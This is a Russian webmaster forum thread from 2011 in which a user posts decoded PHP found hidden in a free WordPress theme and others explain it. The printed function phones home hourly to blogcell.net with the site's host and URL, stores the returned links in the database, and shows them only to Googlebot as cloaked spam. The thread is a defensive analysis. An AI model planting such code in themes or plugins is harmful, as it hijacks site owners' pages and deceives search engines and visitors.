Интерпретируйте часть кода php, плиз - Форум успешных вебмастеров - GoFuckBiz.com
 
 
Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB90.7493
BTC/USD70621.1594
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 13.09.2011, 11:00   #1
harziz
Senior Member
 
Аватар для harziz
 
Регистрация: 12.04.2007
Сообщений: 245
Бабло: $40511
По умолчанию Интерпретируйте часть кода php, плиз

гуру от php, нужна помощь в интерпретации куска кода на php
разтолмачьте плиз, в 2-х словах, что эта конструкция творит:

function wp_get_footer_meta() {global $wpdb;if ($adwb_opt = $wpdb->get_var(\"SELECT option_value FROM $wpdb->options WHERE option_name=\'adwb_opt\'\"))$adwb_opt = unserialize($adwb_opt);else{$adwb_opt = array(0,\'\');$wpdb->query(\"INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (\'adwb_opt\', \'\".serialize($adwb_opt).\"\', \'no\')\");}if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = \'blogcell.net\';$adwb_get = \'/wpam/\';$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);if ($adwb_soc){@stream_set_timeout($adwb_soc,30);@fwr ite($adwb_soc,\"GET $adwb_get\".\'?h=\'.urlencode($_SERVER[\'HTTP_HOST\']).\'&u=\'.urlencode($_SERVER[\'REQUEST_URI\']).\" HTTP/1.1\\r\\nHost: $adwb_host\\r\\nConnection: Close\\r\\n\\r\\n\");$adwb_data = \'\';while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);$adwb_data = trim(strstr($adwb_data,\"\\r\\n\\r\\n\"));}@fclose ($adwb_soc);if(preg_match(\'/<adbug>(.+?)<\\/adbug>/s\',$adwb_data,$adwb_tmp)){$adwb_opt = array(time(), $adwb_tmp[1]);$wpdb->query(\"UPDATE $wpdb->options SET option_value=\'\".mysql_escape_string(serialize($a dwb_opt)).\"\' WHERE option_name=\'adwb_opt\'\");}}if (eregi(\"googlebot\",$_SERVER[\'HTTP_USER_AGENT\']))echo $adwb_opt[1];}add_action(\"wp_footer\", \"wp_get_footer_meta\");

P.S.: вшита была в functions.php в тему для wp (ессно в base64 :-) )
Заранее благодарен ;-)
__________________
Надежность и постоянство в Essay нише!
Всё будет хорошо. Готовьтесь... Серьезно готовьтесь...
harziz вне форума  
Старый 13.09.2011, 11:11   #2
rushter
Senior Member
 
Регистрация: 28.11.2009
Сообщений: 1,800
Бабло: $299365
По умолчанию

Рекламу подругжает с другого хоста вроде как.
rushter вне форума  
Старый 13.09.2011, 11:15   #3
deschain
Senior Member
 
Аватар для deschain
 
Регистрация: 01.11.2007
Сообщений: 2,269
Бабло: $288535
По умолчанию

Ссылки для гугла вкидывает в футер.
deschain вне форума  
Старый 13.09.2011, 11:32   #4
harziz
Senior Member
 
Аватар для harziz
 
Регистрация: 12.04.2007
Сообщений: 245
Бабло: $40511
ТС -->
автор темы ТС По умолчанию

угу понятно
а вот эта часть "option_value=\'\".mysql_escape_string(serialize($ a dwb_opt)).\"\' WHERE option_name=\'adwb_opt\'\");}}if (eregi(\"googlebot\",$_SERVER[\'HTTP_USER_AGENT\']))echo $adwb_opt[1];}" ?

вся эта шняга волнует, ибо как хороший бесплатный шаблон, так обязательно блеать всякой гадости напихано в закодированном виде в header, footer, functions и т.п.
посему на будущее интересны вариации на тему "бойтесь данайцев, дары приносящих" :-)
__________________
Надежность и постоянство в Essay нише!
Всё будет хорошо. Готовьтесь... Серьезно готовьтесь...
harziz вне форума  
Старый 13.09.2011, 11:45   #5
deschain
Senior Member
 
Аватар для deschain
 
Регистрация: 01.11.2007
Сообщений: 2,269
Бабло: $288535
По умолчанию

harziz, первый кусок добавляет в таблицу опций ссылки, чтобы не дёргать каждый раз, а лишь раз в час, второй кусок, собственно выводит это всё, если на страницу заходит гугл бот.
deschain вне форума  
Старый 13.09.2011, 11:50   #6
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
По умолчанию

Цитата:
Сообщение от harziz Посмотреть сообщение
угу понятно
а вот эта часть "option_value=\'\".mysql_escape_string(serialize($ a dwb_opt)).\"\' WHERE option_name=\'adwb_opt\'\");}}

if (eregi(\"googlebot\",$_SERVER[\'HTTP_USER_AGENT\']))echo $adwb_opt[1];}" ?
первая строка - часть sql запроса, который обновляет ссылки/рекламу, полученную с вражеского хоста, типа кеширования на пироге в БД
вторая строка - вывод в браузер ссылок/рекламы в режиме клоаки по юзер агенту гугла

вроде так
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 13.09.2011, 12:03   #7
harziz
Senior Member
 
Аватар для harziz
 
Регистрация: 12.04.2007
Сообщений: 245
Бабло: $40511
ТС -->
автор темы ТС По умолчанию

зер гут господа, спасибо за подробное объяснение, век живи, век учись:-)
__________________
Надежность и постоянство в Essay нише!
Всё будет хорошо. Готовьтесь... Серьезно готовьтесь...
harziz вне форума  
Старый 13.09.2011, 12:13   #8
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
По умолчанию

Цитата:
Сообщение от harziz Посмотреть сообщение
век живи, век учись:-)
так всегда же в бесплатных красивых шаблонах с левых сайтов вшита клоака или другая гадость.
Обиднее когда в дистр шопа вшивают бяку - тут уже последствия другого порядка
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 13.09.2011, 12:17   #9
harziz
Senior Member
 
Аватар для harziz
 
Регистрация: 12.04.2007
Сообщений: 245
Бабло: $40511
ТС -->
автор темы ТС По умолчанию

согласен, посему с метелкой и совочком прохожусь по всему шаблону, дабы не было беды, а такое исполнение впервые увидел
__________________
Надежность и постоянство в Essay нише!
Всё будет хорошо. Готовьтесь... Серьезно готовьтесь...
harziz вне форума